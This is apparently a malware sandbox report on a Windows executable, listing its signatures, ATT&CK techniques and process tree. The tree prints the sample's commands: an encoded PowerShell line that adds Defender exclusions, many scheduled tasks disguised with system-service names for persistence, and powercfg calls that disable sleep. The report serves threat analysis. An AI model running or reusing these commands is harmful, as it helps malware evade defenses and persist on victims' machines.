8beea44520f307488f94d04241245ac943e2013f165308bac4277efae326c060

Analysis

max time kernel
57s
max time network
142s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
20-12-2022 23:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1b1bae0b503d1aa9d659db31ed2cd208.exe
Size

401KB
MD5

1b1bae0b503d1aa9d659db31ed2cd208
SHA1

a0a740dabdb48f1ec5665f9ee6026734e5d6d044
SHA256

8beea44520f307488f94d04241245ac943e2013f165308bac4277efae326c060
SHA512

e960612d89779f9d80eb683a7f89acf43116131adab7044b9f2bd66b613afd1e8e83dc26a76424875b6f281265d93d17f63e8d288346e613658a386552c10d06
SSDEEP

6144:YKdKe+GXmr07DPIE5e20BnJSpY2vGo/WEVSMofYZzPtWMIvA1h7OHpjo9KK:YOkFr07d5e5gVLVPtW/Y1h7mp

Score

8^/10

Malware Config

Signatures

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	AppLaunch.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1692 set thread context of 2028	1692	1b1bae0b503d1aa9d659db31ed2cd208.exe	29

Program crash 2 IoCs

pid	pid_target	Process	procid_target
548	1692	WerFault.exe	27
1480	1576	WerFault.exe	53

Creates scheduled task(s) 1 TTPs 14 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1576	schtasks.exe
816	schtasks.exe
972	schtasks.exe
1368	schtasks.exe
1996	schtasks.exe
912	schtasks.exe
1860	schtasks.exe
956	schtasks.exe
1976	schtasks.exe
1856	schtasks.exe
844	schtasks.exe
1984	schtasks.exe
1652	schtasks.exe
1992	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2028	AppLaunch.exe
2004	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	2028	AppLaunch.exe
Token: SeDebugPrivilege	2004	powershell.exe
Token: SeShutdownPrivilege	1604	powercfg.exe
Token: SeShutdownPrivilege	1572	powercfg.exe
Token: SeShutdownPrivilege	1592	powercfg.exe
Token: SeShutdownPrivilege	1200	powercfg.exe
Token: SeShutdownPrivilege	1408	powercfg.exe
Token: SeShutdownPrivilege	1408	powercfg.exe
Token: SeShutdownPrivilege	1408	powercfg.exe
Token: SeShutdownPrivilege	1408	powercfg.exe
Token: SeShutdownPrivilege	1408	powercfg.exe
Token: SeCreatePagefilePrivilege	1408	powercfg.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 2028	1692	1b1bae0b503d1aa9d659db31ed2cd208.exe	29
PID 1692 wrote to memory of 2028	1692	1b1bae0b503d1aa9d659db31ed2cd208.exe	29
PID 1692 wrote to memory of 2028	1692	1b1bae0b503d1aa9d659db31ed2cd208.exe	29
PID 1692 wrote to memory of 2028	1692	1b1bae0b503d1aa9d659db31ed2cd208.exe	29
PID 1692 wrote to memory of 2028	1692	1b1bae0b503d1aa9d659db31ed2cd208.exe	29
PID 1692 wrote to memory of 2028	1692	1b1bae0b503d1aa9d659db31ed2cd208.exe	29
PID 1692 wrote to memory of 2028	1692	1b1bae0b503d1aa9d659db31ed2cd208.exe	29
PID 1692 wrote to memory of 2028	1692	1b1bae0b503d1aa9d659db31ed2cd208.exe	29
PID 1692 wrote to memory of 2028	1692	1b1bae0b503d1aa9d659db31ed2cd208.exe	29
PID 1692 wrote to memory of 548	1692	1b1bae0b503d1aa9d659db31ed2cd208.exe	30
PID 1692 wrote to memory of 548	1692	1b1bae0b503d1aa9d659db31ed2cd208.exe	30
PID 1692 wrote to memory of 548	1692	1b1bae0b503d1aa9d659db31ed2cd208.exe	30
PID 1692 wrote to memory of 548	1692	1b1bae0b503d1aa9d659db31ed2cd208.exe	30
PID 2028 wrote to memory of 968	2028	AppLaunch.exe	32
PID 2028 wrote to memory of 968	2028	AppLaunch.exe	32
PID 2028 wrote to memory of 968	2028	AppLaunch.exe	32
PID 2028 wrote to memory of 968	2028	AppLaunch.exe	32
PID 2028 wrote to memory of 968	2028	AppLaunch.exe	32
PID 2028 wrote to memory of 968	2028	AppLaunch.exe	32
PID 2028 wrote to memory of 968	2028	AppLaunch.exe	32
PID 968 wrote to memory of 2004	968	cmd.exe	34
PID 968 wrote to memory of 2004	968	cmd.exe	34
PID 968 wrote to memory of 2004	968	cmd.exe	34
PID 968 wrote to memory of 2004	968	cmd.exe	34
PID 968 wrote to memory of 2004	968	cmd.exe	34
PID 968 wrote to memory of 2004	968	cmd.exe	34
PID 968 wrote to memory of 2004	968	cmd.exe	34
PID 2028 wrote to memory of 1536	2028	AppLaunch.exe	35
PID 2028 wrote to memory of 1536	2028	AppLaunch.exe	35
PID 2028 wrote to memory of 1536	2028	AppLaunch.exe	35
PID 2028 wrote to memory of 1536	2028	AppLaunch.exe	35
PID 2028 wrote to memory of 1536	2028	AppLaunch.exe	35
PID 2028 wrote to memory of 1536	2028	AppLaunch.exe	35
PID 2028 wrote to memory of 1536	2028	AppLaunch.exe	35
PID 2028 wrote to memory of 1956	2028	AppLaunch.exe	37
PID 2028 wrote to memory of 1956	2028	AppLaunch.exe	37
PID 2028 wrote to memory of 1956	2028	AppLaunch.exe	37
PID 2028 wrote to memory of 1956	2028	AppLaunch.exe	37
PID 2028 wrote to memory of 1956	2028	AppLaunch.exe	37
PID 2028 wrote to memory of 1956	2028	AppLaunch.exe	37
PID 2028 wrote to memory of 1956	2028	AppLaunch.exe	37
PID 2028 wrote to memory of 1668	2028	AppLaunch.exe	38
PID 2028 wrote to memory of 1668	2028	AppLaunch.exe	38
PID 2028 wrote to memory of 1668	2028	AppLaunch.exe	38
PID 2028 wrote to memory of 1668	2028	AppLaunch.exe	38
PID 2028 wrote to memory of 1668	2028	AppLaunch.exe	38
PID 2028 wrote to memory of 1668	2028	AppLaunch.exe	38
PID 2028 wrote to memory of 1668	2028	AppLaunch.exe	38
PID 2028 wrote to memory of 856	2028	AppLaunch.exe	40
PID 2028 wrote to memory of 856	2028	AppLaunch.exe	40
PID 2028 wrote to memory of 856	2028	AppLaunch.exe	40
PID 2028 wrote to memory of 856	2028	AppLaunch.exe	40
PID 2028 wrote to memory of 856	2028	AppLaunch.exe	40
PID 2028 wrote to memory of 856	2028	AppLaunch.exe	40
PID 2028 wrote to memory of 856	2028	AppLaunch.exe	40
PID 2028 wrote to memory of 1020	2028	AppLaunch.exe	42
PID 2028 wrote to memory of 1020	2028	AppLaunch.exe	42
PID 2028 wrote to memory of 1020	2028	AppLaunch.exe	42
PID 2028 wrote to memory of 1020	2028	AppLaunch.exe	42
PID 2028 wrote to memory of 1020	2028	AppLaunch.exe	42
PID 2028 wrote to memory of 1020	2028	AppLaunch.exe	42
PID 2028 wrote to memory of 1020	2028	AppLaunch.exe	42
PID 2028 wrote to memory of 1660	2028	AppLaunch.exe	44
PID 2028 wrote to memory of 1660	2028	AppLaunch.exe	44

C:\Users\Admin\AppData\Local\Temp\1b1bae0b503d1aa9d659db31ed2cd208.exe
"C:\Users\Admin\AppData\Local\Temp\1b1bae0b503d1aa9d659db31ed2cd208.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - Drops file in Drivers directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2028
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C powershell -EncodedCommand "PAAjAFkAVQB6AFgAYwBqAGUAWgBKAFQASwByACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAQgBFAFQATQBTAGYAdgBBAHYAbABqAGkAUQByAEYAcwBSAE4AIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAGgAeABhAHEAVAB3AGEAZwBWAHYAZgAjAD4AIABAACgAIAA8ACMAZQBHAFcAQgBRAEQATABDAHoATgBRAFUAQwAjAD4AIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAIAA8ACMAZgBqAEgARQBtAGYATABZAEYASABxAGwAIwA+ACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQApACAAPAAjAGQAUQBDAHMAZQBwAEYAdQBnAHoAYwAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBSAEYAVwBFAEwAbwBCAFkAWgBjAFcAdgBaAGkAQwBXAFAAVABPACMAPgA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:968
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "PAAjAFkAVQB6AFgAYwBqAGUAWgBKAFQASwByACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAQgBFAFQATQBTAGYAdgBBAHYAbABqAGkAUQByAEYAcwBSAE4AIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAGgAeABhAHEAVAB3AGEAZwBWAHYAZgAjAD4AIABAACgAIAA8ACMAZQBHAFcAQgBRAEQATABDAHoATgBRAFUAQwAjAD4AIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAIAA8ACMAZgBqAEgARQBtAGYATABZAEYASABxAGwAIwA+ACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQApACAAPAAjAGQAUQBDAHMAZQBwAEYAdQBnAHoAYwAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBSAEYAVwBFAEwAbwBCAFkAWgBjAFcAdgBaAGkAQwBXAFAAVABPACMAPgA="
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2004
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "SecurityHealthSystray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:1536
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "SecurityHealthSystray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:1996
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefender" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:1956
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefender" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:1984
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "WmiPrvSE" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:1668
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "WmiPrvSE" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:1576
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1576 -s 340
        5⤵
        Program crash
        
        PID:1480
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareServiceExecutable" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:856
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareServiceExecutable" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:1652
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "RuntimeBroker" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:1020
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "RuntimeBroker" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:1992
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftEdgeUpd" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:1660
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftEdgeUpd" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:1860
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "OneDriveService" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:948
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "OneDriveService" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:816
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "NvStray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:364
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "NvStray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:972
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefenderServices\WindowsDefenderServicesServices_bk904" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:1600
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefenderServices\WindowsDefenderServicesServices_bk904" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:956
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftUpdateServices\MicrosoftUpdateServicesServices_bk828" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:1628
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftUpdateServices\MicrosoftUpdateServicesServices_bk828" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:1368
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareSericeExecutable\AntiMalwareSericeExecutableServices_bk999" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:1288
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareSericeExecutable\AntiMalwareSericeExecutableServices_bk999" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:1976
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "SettingSysHost\SettingSysHostServices_bk369" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:1776
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "SettingSysHost\SettingSysHostServices_bk369" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:844
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "Agent Activation Runtime\Agent Activation RuntimeServices_bk822" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:2004
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC HOURLY /TN "Agent Activation Runtime\Agent Activation RuntimeServices_bk822" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:1856
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off & SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRule" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
    3⤵
    PID:1808
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /x -hibernate-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1604
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /x -hibernate-timeout-dc 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1572
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /x -standby-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1592
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /x -standby-timeout-dc 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1200
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /hibernate off
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1408
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRule" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /f
      4⤵
      Creates scheduled task(s)
      PID:912
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1692 -s 36
  2⤵
  - Program crash
  PID:548

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Web Service

T1102

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1692-66-0x00000000002B0000-0x000000000031B000-memory.dmp

Filesize
428KB

Download
memory/2004-72-0x000000006F1C0000-0x000000006F76B000-memory.dmp

Filesize
5.7MB

Download
memory/2004-71-0x000000006F1C0000-0x000000006F76B000-memory.dmp

Filesize
5.7MB

Download
memory/2028-64-0x00000000763A1000-0x00000000763A3000-memory.dmp

Filesize
8KB

Download
memory/2028-54-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2028-63-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2028-62-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2028-56-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download